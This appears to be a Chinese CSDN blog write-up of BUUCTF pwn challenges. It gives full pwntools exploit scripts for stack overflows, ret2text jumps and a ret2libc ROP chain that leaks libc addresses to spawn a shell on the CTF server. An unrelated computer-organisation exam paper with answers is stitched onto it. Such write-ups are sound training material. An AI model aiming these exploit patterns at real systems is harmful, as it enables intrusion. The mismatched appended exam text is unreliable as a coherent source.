计算机组成原理刷题,buuctf——pwn刷题之旅(持续更新)

本文详细介绍了多个CTF挑战的解决方案,涉及栈溢出漏洞的利用,包括通过ROP链来泄露函数地址,寻找system和/bin/sh的地址,最终获取shell。还展示了如何通过输入字符串长度的异常变化触发溢出,并返回到特定函数来获取flag。涉及到的技术包括远程连接、ELF分析、ida调试、libc搜索等。
摘要由CSDN通过智能技术生成

连上就有flag的pwn

efef9c76c17ff3fade8053898e063e56.png

RIP覆盖一下

c652976d93b487dc7144a251a6f04aaf.png

IDA看一下:

f8840298c085ed668a7166fb62487b2f.png

典型的溢出,函数中有fun函数:

e3e5b1e61317dd064435adfa0b0d0fb5.png

看一下偏移:

298828d095a353b86963ba98c5abefb3.png

有一个需要注意的地方就是nc连上发现没有输出input,直接让我输入,所以exp改了一下。

exp:

from pwn import *

p = remote('pwn.buuoj.cn', 6001)

#p = process('../files/pwn1')

payload = 'a' * (0xf + 8) + p64(0x401186)

p.sendline(payload)

p.interactive()

得到flag:

bb78af3a7f7ad9c60c8ee627bc20e31f.png

ciscn_2019_c_1

还是个64位的ELF,IDA分析一下:

main函数里没有啥:

ecdf4da95d1895afcdfe6bc3b056f045.png

encrypt()函数里存在栈溢出:

09100e17fdc1162765aa93fd75c122de.png

由于程序中没有system和sh所以ROP攻击。

思路是通过栈溢出返回程序中的puts函数把gets函数的地址泄露出来,然后找到偏移地址,再调用system和/bin/sh来获得shell。

看一下s:

e7248f9c9062eafcfeeeb30008bf0d1d.png

exp:

from pwn import *

from LibcSearcher import *

#p = process('../files/ciscn_2019_c_1')

p = remote('pwn.buuoj.cn', 20115)

e = ELF('../files/ciscn_2019_c_1')

start = 0x400B28

rdi_addr = 0x0000000000400c83

puts_plt = e.plt['puts']

gets_got = e.got['gets']

log.success('puts_plt => {}'.format(hex(puts_plt)))

log.success('gets_got => {}'.format(hex(gets_got)))

p.sendlineafter('choice!\n', '1')

payload1 = 'a' * (0x50 + 8)

payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)

payload1 += p64(start)

p.sendline(payload1)

p.recvuntil('@')

p.recvline()

gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))

log.success('get_leak_addr => {}'.format(hex(gets_leak)))

libc = LibcSearcher('gets', gets_leak)

libc_base = gets_leak - libc.dump('gets')

sys_addr = libc_base + libc.dump('system')

bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.success('libc_base_addr => {}'.format(hex(libc_base)))

log.success('system_addr => {}'.format(hex(sys_addr)))

log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

p.sendlineafter('choice!\n', '1')

payload2 = 'a' *(0x50 + 8)

payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)

p.interactive()

运行得到flag:

a42f325f1c0876cc2626ab9bf5f19ba3.png

warmup_csaw_2016

看一下源码:

da2a70d2f420111c823e5af64b5ff0af.png

很明显的栈溢出。程序中还有这个:

10e8cdb81472df04c37fe883b5cb0c81.png

没啥说的了,直接上exp:

from pwn import *

p = remote('pwn.buuoj.cn', 20035)

payload = 'a' * (0x40 + 8)

payload += p64(0x40060d)

p.recvuntil('>')

p.sendline(payload)

p.interactive()

得到flag:

e3d35963e0bb694f1f902ef5c1c6accf.png

pwn1_sctf_2016

分析源码:

a5af3ec53e08f957ecd89724499f3d80.png

第13行发现传入的s被限制在了31个字符,没法溢出,但是接着看发现当输入I的时候,程序会把I变成you,这样一来原本一个字符就变成了三个字符,可以溢出了!

发现程序中有get_flag函数:

bf77faf0472fbaa4d72290af01815123.png

那么思路就是溢出让程序返回get_flag函数。

动态调试查看输入的起始地址为FFCD1D48(you是程序运行自己修改的):

df39f8bccf412a25218b6580ebb94385.png

程序返回地址存放的位置为FFCD1D90:

f7af0cfb14b34ccf100193890b96ccc8.png

所以偏移量就是90-4C-4=0x40=64,那么就需要填充64个字节,所以构造21个I加一个A,exp如下:

from pwn import *

#p = process('../files/pwn1_sctf_2016')

p = remote('pwn.buuoj.cn',20086)

e = ELF('../files/pwn1_sctf_2016')

get_flag = e.symbols['get_flag']

log.success('get_flag_addr => {}'.format(hex(get_flag)))

payload = 'I' * 21 + 'A' + p32(get_flag)

p.sendline(payload)

print(p.recv())

得到flag:

8a43e95e08f7f37e9a64c8d4a2f38b3a.png

ciscn_2019_en_1

和ciscn_2019_c_1一模一样,exp改个端口号就行了。

ciscn_2019_n_1

源码很简单:

6d1c22a32c9216f783575897a5f67ec1.png

就是一个简单的溢出让v2变成11.28125。v1是var_30,v2是var_4:

109754eac30a9c217dff9a150dadd6da.png

f7cd8fc1524e357d5f863fdafab57307.png

再看一下11.28125在程序中的表示:

44c1babbf9c675876b9dd7ce56de57a7.png

也就是让v2变成41348000h,所以exp如下:

from pwn import *

#p = process('../files/ciscn_2019_n_1')

p = remote('pwn.buuoj.cn', 20137)

payload = '1' * 0x2c + p64(0x41348000)

p.recv()

p.sendline(payload)

p.interactive()

c5c509178c9fd0b162093c132c6680bc.png

我去d89d0e6922d214173cf374b0ce964698.png,居然告诉我没有flag,可能是出题的时候环境配的有问题吧,或者是就是个坑。

不过没关系,那就ROP,具体没啥好说的和前几道题都差不多,,不多说了。

exp:

from pwn import *

from LibcSearcher import *

#p = process('../files/ciscn_2019_n_1')

p = remote('pwn.buuoj.cn', 20137)

e = ELF('../files/ciscn_2019_n_1')

rdi_addr = 0x0000000000400793

start = 0x4006DC

puts_plt = e.plt['puts']

gets_got = e.got['gets']

log.success('puts_plt => {}'.format(hex(puts_plt)))

log.success('gets_got => {}'.format(hex(gets_got)))

payload1 = 'a' * (0x30 + 8)

payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)

payload1 += p64(start)

p.sendline(payload1)

p.recvuntil('11.28125\n')

gets_leak = u64(p.recvline()[:-1].ljust(8,'\0'))

log.success('gets_leak_addr => {}'.format(hex(gets_leak)))

libc = LibcSearcher('gets', gets_leak)

libc_base = gets_leak - libc.dump('gets')

sys_addr = libc_base + libc.dump('system')

bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.success('libc_base_addr => {}'.format(hex(libc_base)))

log.success('system_addr => {}'.format(hex(sys_addr)))

log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

p.recvline()

payload2 = 'a' * (0x30 + 8)

payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)

p.interactive()

取得shell,得到flag:

8042774c5f1ac3810664fa80ce095439.png

一共20套 本科生期末试卷 一 一. 选择题 (每小题1分,共10分) 1. 计算机系统中的存贮器系统是指______。d A RAM存贮器 B ROM存贮器 C 主存贮器 D 主存贮器和外存贮器 2. 某机字长32位,其中1位符号位,31位表示尾数。若用定点小数表示,则最大正小数为______。b A +(1 – 2-32) B +(1 – 2-31) C 2-32 D 2-31 3. 算术 / 逻辑运算单元74181ALU可完成______。c A 16种算术运算功能 B 16种逻辑运算功能 C 16种算术运算功能和16种逻辑运算功能 D 4位乘法运算和除法运算功能 4. 存储单元是指______。c A 存放一个二进制信息位的存贮元 B 存放一个机器字的所有存贮元集合 C 存放一个字节的所有存贮元集合 D 存放两个字节的所有存贮元集合; 5. 相联存贮器是按______进行寻址的存贮器。c A 地址方式 B 堆栈方式 C 内容指定方式 D 地址方式与堆栈方式 6. 变址寻址方式中,操作数的有效地址等于______。c A 基值寄存器内容加上形式地址(位移量) B 堆栈指示器内容加上形式地址(位移量) C 变址寄存器内容加上形式地址(位移量) D 程序记数器内容加上形式地址(位移量) 7. 以下叙述中正确描述的句子是:______。ad A 同一个CPU周期中,可以并行执行的微操作叫相容性微操作 B 同一个CPU周期中,不可以并行执行的微操作叫相容性微操作 C 同一个CPU周期中,可以并行执行的微操作叫相斥性微操作 D 同一个CPU周期中,不可以并行执行的微操作叫相斥性微操作 8. 计算机使用总线结构的主要优点是便于实现积木化,同时______。c A 减少了信息传输量 B 提高了信息传输的速度 C 减少了信息传输线的条数 D 加重了CPU的工作量 9. 带有处理器的设备一般称为______设备。a A 智能化 B 交互式 C 远程通信 D 过程控制 10.某中断系统中,每抽取一个输入数据就要中断CPU一次,中断处理程序接收取样的数 据,并将其保存到主存缓冲区内。该中断处理需要X秒。另一方面,缓冲区内每存储 N 个数据,主程序就将其取出进行处理,这种处理需要Y秒,因此该系统可以跟踪到每 秒______次中断请求。 A.N / (NX + Y) B. N / (X + Y)N C .min[1 / X ,1 / Y] D. max[1 / X ,1 / Y] 二. 填空题(每小题3分,共24分) 1.存储A.______并按B.______顺序执行,这是C.______型计算机的工作原理。 2.移码表示法主要用于表示A.______数的阶码E,以利于比较两个B.______的大小和 C.______操作。 3.闪速存储器能提供高性能、低功耗、高可靠性及A.______能力,为现有的B.______体 系结构带来巨大变化,因此作为C.______用于便携式电脑中。 4.寻址方式按操作数的A.______位置不同,多使用B.______和C.______型,前者比后者执 行速度快。 5.微程序设计技术是利用A.______方法设计B.______的一门技术。具有规整性、可维护 性、C .______等一系列优点。 6.衡量总线性能的重要指标是A.______,它定义为总线本身所能达到的最高B.______。PCI 总线的带宽可达C.______。 7.显示适配器作为CRT和CPU的接口,由A. ______存储器,B. ______控制器,C. ______ 三部分组成。 8.DMA技术的出现使得A. ______可通过B. ______直接访问C. ______。 三. 应用题 1. (11分)设机器字长32位,定点表示,尾数31位,数符1位,问: (1) 定点原码整数表示时,最大正数是多少?最大负数是多少? (2) 定点原码小数表示时,最大正数是多少?最大负数是多少? 2. (11分)设存储器容量为32字,字长64位,模块数m = 4,分别用顺序方式和交叉方式进行组织。存储周期T = 200ns,数据总线宽度为64位,总线周期τ = 50ns .问顺序存储器和交叉存储器的带宽各是多少? 3. (11分)指令格式如下所示,OP为操作码字段,试分析指令格式特点。 31 26 22 18 17 16 15 0 4. (11分)已知某机采用微程序控制方式,其存储器容量为512×48(位),微程序在整个控制存储器中实现转移,可控制微程序的条件共4个,微指令采用水平型格式,后继微指令地址采用断定方式,如图所示: ←操作控制→ ←—————— 顺序控制 ————————→ (1) 微指令中的三个字段分别应多少位? (2) 画出对应这种微指令格式的微程序控制器逻辑框图。 5. (11分)画出PCI总线结构图,说明三种桥的功能。 6. (11分)某机用于生产过程中的温度数据采集,每个采集器含有8位数据缓冲寄存器一个,比较器一个,能与给定范围比较,可发出“温度过低”或“温度过高”的信号,如图B1.1所示。主机采用外设单独编址,四个采集器公用一个设备码,共用一个接口,允许采用两种方式访问: (1) 定期巡回检测方式,主机可编程指定访问该设备中的某一采集器。 (2) 中断方式,当采集温度比给定范围过底或过高时能提出随机中断请求,主机应能判别是哪一个采集器请求,是温度过低或过高。 请拟定该接口中有哪些主要部件(不要求画出完整的连线图),并概略说明在两 种方式下的工作原理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值